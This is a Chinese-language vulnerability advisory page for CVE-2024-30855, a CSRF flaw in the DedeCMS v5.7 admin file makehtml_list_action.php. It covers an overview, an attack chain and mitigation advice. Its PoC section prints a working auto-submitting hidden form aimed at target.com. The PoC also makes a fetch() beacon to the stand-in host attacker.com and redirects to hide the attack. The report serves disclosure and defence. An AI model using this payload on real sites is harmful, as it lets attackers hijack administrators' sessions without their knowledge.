IPBUF安全漏洞报告
English
CVE-2024-30855 CVSS 8.8 高危

CVE-2024-30855 DedeCMS v5.7 CSRF跨站请求伪造漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2024-30855
漏洞类型
CSRF(跨站请求伪造)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
DedeCMS v5.7

相关标签

CSRF跨站请求伪造DedeCMS高危漏洞CVE-2024-30855内容管理系统管理后台漏洞Web应用安全

漏洞概述

CVE-2024-30855是DedeCMS v5.7版本中的一个高危跨站请求伪造(CSRF)漏洞。该漏洞存在于管理后台的makehtml_list_action.php文件中,由于程序未能对关键操作实施有效的CSRF token验证机制,攻击者可以构造恶意请求诱导已登录的管理员用户执行非预期的操作。漏洞的CVSS评分达到8.8分,属于高危级别,表明其具有较高的安全风险和实际威胁性。DedeCMS作为国内广泛使用的CMS系统,其管理后台的权限通常较高,一旦遭受CSRF攻击,攻击者可能利用管理员身份执行生成静态页面、修改系统配置等敏感操作,进而可能导致网站被完全控制或植入恶意代码。由于该漏洞利用需要用户交互(UI:R),攻击者通常通过社会工程学手段诱导管理员访问恶意页面或点击钓鱼链接,从而在管理员不知情的情况下完成攻击。漏洞的完整攻击链包括构造恶意页面、诱导用户访问、伪造请求执行等步骤,具有较高的隐蔽性和欺骗性。

技术细节

DedeCMS v5.7的CSRF漏洞位于/src/dede/makehtml_list_action.php文件,该文件负责处理静态页面生成等管理操作。漏洞的根本原因在于程序在执行敏感操作时缺少对CSRF token的验证。攻击者可以通过构造一个包含自动提交表单的HTML页面,当管理员访问该页面时,浏览器会自动向目标网站的makehtml_list_action.php发送请求。由于浏览器会自动携带当前域名的Cookie信息,服务器会认为这是来自已登录用户的合法请求。攻击者通常会在表单中预设参数值,例如指定需要生成的栏目ID、静态化选项等。服务器在接收到请求后,由于缺乏CSRF保护机制,会直接执行相应的操作,如生成指定栏目的静态HTML页面。更严重的是,如果攻击者能够结合其他漏洞(如XSS)获取到管理员的有效Session,还可以进一步扩大攻击成果,执行更危险的操作如修改管理员密码、上传webshell等。该漏洞的利用条件相对宽松,不需要特殊的认证信息,只需要诱导目标用户访问恶意页面即可。

攻击链分析

STEP 1
步骤1
攻击者首先收集目标网站信息,确认其使用DedeCMS v5.7版本,并识别出管理后台路径
STEP 2
步骤2
攻击者构造包含恶意表单的HTML页面,表单action指向目标网站的makehtml_list_action.php,并预设攻击所需的参数值
STEP 3
步骤3
攻击者通过社会工程学手段(如钓鱼邮件、即时消息、论坛帖子等)诱导目标网站管理员访问恶意页面
STEP 4
步骤4
管理员在浏览器中打开恶意页面后,页面中的JavaScript代码自动提交表单,浏览器自动携带Cookie向目标服务器发送POST请求
STEP 5
步骤5
目标服务器接收到请求后,由于缺乏CSRF token验证,误认为是管理员的合法操作,执行生成静态页面等指令
STEP 6
步骤6
攻击者可通过重复利用或其他组合漏洞(如XSS获取Session),进一步扩大攻击成果,实现对网站的完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2024-30855 DedeCMS v5.7 --> <!DOCTYPE html> <html> <head> <title>CSRF Exploit - CVE-2024-30855</title> </head> <body> <h1>CSRF Attack Page</h1> <p>If you see this message, the CSRF attack has been executed.</p> <!-- Auto-submit form targeting makehtml_list_action.php --> <form id="csrfForm" action="http://target.com/src/dede/makehtml_list_action.php" method="POST" style="display:none;"> <!-- Set channelid to target specific category --> <input type="hidden" name="channelid" value="1"> <!-- Set dopost to specify the action --> <input type="hidden" name="dopost" value="makehtml"> <!-- Set typeid to target category --> <input type="hidden" name="typeid" value="1"> <!-- Set startday for scheduling --> <input type="hidden" name="startday" value=""> <!-- Set endday for scheduling --> <input type="hidden" name="endday" value=""> <!-- Set pagesize for list generation --> <input type="hidden" name="pagesize" value="20"> </form> <script> // Auto-submit the form when page loads document.getElementById('csrfForm').submit(); // Send notification to attacker after submission fetch('http://attacker.com/log?cve=CVE-2024-30855&status=executed', { method: 'GET', mode: 'no-cors' }); </script> <p>Redirecting...</p> <script> // Delay and redirect to avoid suspicion setTimeout(function() { window.location.href = 'http://target.com/dede/'; }, 2000); </script> </body> </html>

影响范围

DedeCMS v5.7

防御指南

临时缓解措施
在官方补丁发布之前,可以通过以下措施进行临时缓解:1)在服务器端实现自定义的CSRF防护机制,为每个表单生成唯一的token并在处理请求时验证;2)修改管理后台的Session配置,缩短Session超时时间并启用安全Cookie;3)限制管理后台的访问IP,仅允许可信IP地址访问;4)使用HTTP Security Header(如Content-Security-Policy)限制跨域请求;5)对管理员进行安全意识培训,提高对钓鱼攻击的警惕性;6)考虑暂时禁用或限制makehtml_list_action.php的访问权限,直到漏洞被修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表